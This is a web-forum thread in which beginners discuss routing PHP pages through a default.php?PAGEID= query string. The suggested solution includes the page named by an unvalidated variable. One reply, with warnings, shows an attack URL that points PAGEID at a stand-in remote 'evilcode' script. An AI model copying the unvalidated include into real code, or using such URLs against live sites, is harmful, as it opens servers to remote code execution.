Dynamic URL Navigation! how?

evo4ever

Hey peaps. I've come here asking how to make a php navigation system! I think its called urlencoding or htmlspecialchars. What I want is my links looking like this:

EG: The articles page: www.evostation.com/default.php?PAGEID=articles

Instead of:

www.evostation.com/articles.php

Get what I mean?

Help would be appreciated! Thx.

viper21634

well actually that is a query string. I am going to give you a quick lession try to keep up 😉

echo "<a href='yourpage.php?var=value&var2=value2'>Your link text</a>

that is how you build a query srting, not much to it 🙂

then on the target page

<?php
//check to see if the first var is set
if(isset(var))
{
//code that you want to exec if it is set
}

if(isset(var2))
{
//code to run if the second var is set
}
?>

presto you have got a page that will take a query string

evo4ever

Thx 4 the reply but thats not what i had in mind...

These are my pages on my site:

/default.php (main page)
/articles.php
/staff.php
/hosting.php
/downloads.php
/affiliates.php
/services.php
/feedback.php
/contact.php

I want them looking like this instead:

/default.php?PAGEID=
/default.php?PAGEID=articles
/default.php?PAGEID=staff
/default.php?PAGEID=hosting
/default.php?PAGEID=downloads
/default.php?PAGEID=affiliates
/default.php?PAGEID=services
/default.php?PAGEID=feedback
/default.php?PAGEID=contact

What would be the php code?

devinemke

default.php needs to have some code that displays the correct content based on your query string variable. for example:

default.php:
<?
if ($PAGEID == 'articles') {echo 'article stuff...';}
if ($PAGEID == 'staff ') {echo 'staff stuff...' ;}
?>

to makes things easier I would suggest you store the individual page content either in separate files or in a database. then default.php would look more like:

default.php:
<?
include ("{$PAGEID}.php";}
?>

Be advised! this method can open up some serious security holes if you are not careful. If you do choose to use the second method above (using include) what's to stop me from typing the following into my address bar:

http://www.evostation.com/default.php?PAGEID=http://www.evilcode.com/evil_script

For this reason you should check you user input variables before using them to include() other files. The easiest way is to simply store the allowable variables in an array and the use in_array() to validate.

evo4ever

No. I dont want it echoing anything. I want it targetting or querying a php file! EG: default.php?PAGEID=articles would target or display articles.php but the url still remains like default.php?PAGEID=articles in the address and status bars. Is this possible? Thx.

devinemke

uh...that's exactly what i was saying in my second example:
if default.php had the following line of code:

<? include ("{$PAGEID}.php"); ?>

when you pointed you browser to

http://www.evostation.com/default.php?PAGEID=article

you would see the contents of article.php

Again, this is very insecure. you must validate your $PAGEID variable.

evo4ever

Thinks m8! Thats just what I wanted to know!!! Thanks! Now how do I replace the Link Text with an image?


echo "<a href='default.php?PAGEID=articles'>img src???</a>"

Thx.

devinemke

echo '<a href="default.php?PAGEID=articles"><img src="articles.gif" border=0 width=100 height=100></a>';

evo4ever

Thx man! Ok... how do I validate my $PAGEID variable? I dont want ppl putting in.. EG: articles.php whens its supposed to be default.php?PAGEID=articles! I would like to rename articles.php to something else but remaining with the articles PAGEID! how do i do it? Thx.

evo4ever

EEK!! Major problem! When I visit a link not only does it show the requested page but it also shows the preveous page at the bottom aswel!!! check for yourself: www.evostation.com/default.php then click any link and scroll down! PLS Help! Thx.